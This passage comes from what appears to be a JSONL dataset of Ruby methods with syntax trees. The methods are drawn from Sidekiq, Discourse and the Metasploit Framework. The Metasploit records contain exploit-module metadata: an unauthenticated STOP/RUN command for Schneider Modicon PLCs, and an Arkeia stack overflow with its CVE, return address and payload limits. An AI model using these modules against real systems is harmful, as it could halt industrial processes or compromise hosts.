end","complexity_score":15.55,"ast_json":"{\"type\":\"def\",\"children\":[\"add_dead\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"jid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"HardJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bob\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"error_message\"]},{\"type\":\"str\",\"children\":[\"Some fake message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"error_class\"]},{\"type\":\"str\",\"children\":[\"RuntimeError\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"retry_count\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"failed_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"jid\"]},{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"zadd\",{\"type\":\"str\",\"children\":[\"dead\"]},{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"dump_json\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]}]}]}","id":"f41ca9e8-657b-4d3b-bf7e-26cf97551260"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/scada/modicon_command.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Schneider Modicon Remote START/STOP Command',\n        'Description' => %q{\n          The Schneider Modicon with Unity series of PLCs use Modbus function\n          code 90 (0x5a) to perform administrative commands without authentication.\n          This module allows a remote user to change the state of the PLC between\n          STOP and RUN, allowing an attacker to end process control by the PLC.\n\n          This module is based on the original 'modiconstop.rb' Basecamp module from\n          DigitalBond.\n        },\n        'Author' => [\n          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module\n          'todb' # Metasploit fixups\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]\n        ],\n        'DisclosureDate' => '2012-04-05',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options(\n      [\n        OptEnum.new('MODE', [\n          true, 'PLC command', 'STOP',\n          [\n            'STOP',\n            'RUN'\n          ]\n        ]),\n        Opt::RPORT(502)\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Schneider Modicon Remote START/STOP Command\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The Schneider Modicon with Unity series of PLCs use Modbus function\\n\"]},{\"type\":\"str\",\"children\":[\"          code 90 (0x5a) to perform administrative commands without authentication.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module allows a remote user to change the state of the PLC between\\n\"]},{\"type\":\"str\",\"children\":[\"          STOP and RUN, allowing an attacker to end process control by the PLC.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module is based on the original 'modiconstop.rb' Basecamp module from\\n\"]},{\"type\":\"str\",\"children\":[\"          DigitalBond.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"K. Reid Wightman <wightman[at]digitalbond.com>\"]},{\"type\":\"str\",\"children\":[\"todb\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.digitalbond.com/tools/basecamp/metasploit-modules/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-04-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"MODE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"PLC command\"]},{\"type\":\"str\",\"children\":[\"STOP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"STOP\"]},{\"type\":\"str\",\"children\":[\"RUN\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[502]}]}]}]}]}]}","id":"460c1d24-a359-4b8d-9d6a-37053b418d6d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/arkeia/type77.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in the Arkeia backup\n          client for the Mac OS X platform. This vulnerability affects\n          all versions up to and including 5.3.3 and has been tested\n          with Arkeia 5.3.1 on Mac OS X 10.3.5.\n        },\n        'Author' => [ 'hdm' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2005-0491'],\n          [ 'OSVDB', '14011'],\n          [ 'BID', '12594']\n        ],\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\",\n          'MinNops' => 700,\n          'Compat' =>\n                      {\n                        'ConnectionType' => '-find',\n                      },\n        },\n        'Platform' => %w{osx},\n        'Targets' => [\n          [\n            'Arkeia 5.3.1 Stack Return (boot)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_PPC,\n              'Ret' => 0xbffff910,\n            },\n          ],\n        ],\n        'DisclosureDate' => '2005-02-18',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Arkeia Backup Client Type 77 Overflow (Mac OS X)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in the Arkeia backup\\n\"]},{\"type\":\"str\",\"children\":[\"          client for the Mac OS X platform. This vulnerability affects\\n\"]},{\"type\":\"str\",\"children\":[\"          all versions up to and including 5.3.3 and has been tested\\n\"]},{\"type\":\"str\",\"children\":[\"          with Arkeia 5.3.1 on Mac OS X 10.3.5.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-0491\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"14011\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"12594\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MinNops\"]},{\"type\":\"int\",\"children\":[700]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"-find\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Arkeia 5.3.1 Stack Return (boot)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[3221223696]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2005-02-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"1f4b8d47-342d-45bd-b2a2-2f055a40d3cb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/generated_definitions/dk.rb","start_line":13,"raw_source":"def self.holidays_by_month\n      {\n                0 => [{:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -49, :type => :informal, :name => \"Fastelavn\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -7, :type => :informal, :name => \"Palmesøndag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -3, :name => \"Skærtorsdag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -2, :name => \"Langfredag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :name => \"Påskedag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 1, :name => \"2. påskedag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 26, :year_ranges => { :until => 2024 },:name => \"Store Bededag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 39, :name => \"Kristi Himmelfartsdag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 49, :name => \"Pinsedag\", :regions => [:dk]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 50, :name => \"2. Pinsedag\", :regions => [:dk]}],\n      1 => [{:mday => 1, :name => \"Nytårsdag\", :regions => [:dk]}],\n      4 => [{:mday => 1, :type => :informal, :name => \"1. april\", :regions => [:dk]},\n            {:mday => 9, :type => :informal, :name => \"Danmarks besættelse\", :regions => [:dk]},\n            {:mday => 16, :type => :informal, :name => \"Dronningens fødselsdag\", :regions => [:dk]}],\n      5 => [{:mday => 1, :type => :informal, :name => \"Arbejdernes kampdag\", :regions => [:dk]},\n            {:mday => 5, :type => :informal, :name => \"Danmarks befrielse\", :regions => [:dk]}],\n      6 => [{:mday => 5, :type => :informal, :name => \"Grundlovsdag\", :regions => [:dk]},\n            {:mday => 15, :type => :informal, :name => \"Valdemarsdag og Genforeningsdag\", :regions => [:dk]},\n            {:mday => 23, :type => :informal, :name => \"Sankt Hans aften\", :regions => [:dk]}],\n      11 => [{:mday => 10, :type => :informal, :name => \"Mortensaften\", :regions => [:dk]}],\n      12 => [{:mday => 13, :type => :informal, :name => \"Sankt Lucia\", :regions => [:dk]},\n            {:mday => 24, :type => :informal, :name => \"Juleaftensdag\", :regions => [:dk]},\n            {:mday => 25, :name => \"1. juledag\", :regions => [:dk]},\n            {:mday => 26, :name => \"2. juledag\", :regions => [:dk]}]\n      }\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"holidays_by_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-49]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Fastelavn\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Palmesøndag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Skærtorsdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Langfredag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Påskedag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"2. påskedag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"until\"]},{\"type\":\"int\",\"children\":[2024]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Store Bededag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[39]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Kristi Himmelfartsdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[49]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Pinsedag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"2. Pinsedag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nytårsdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"1. april\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Danmarks besættelse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Dronningens fødselsdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Arbejdernes 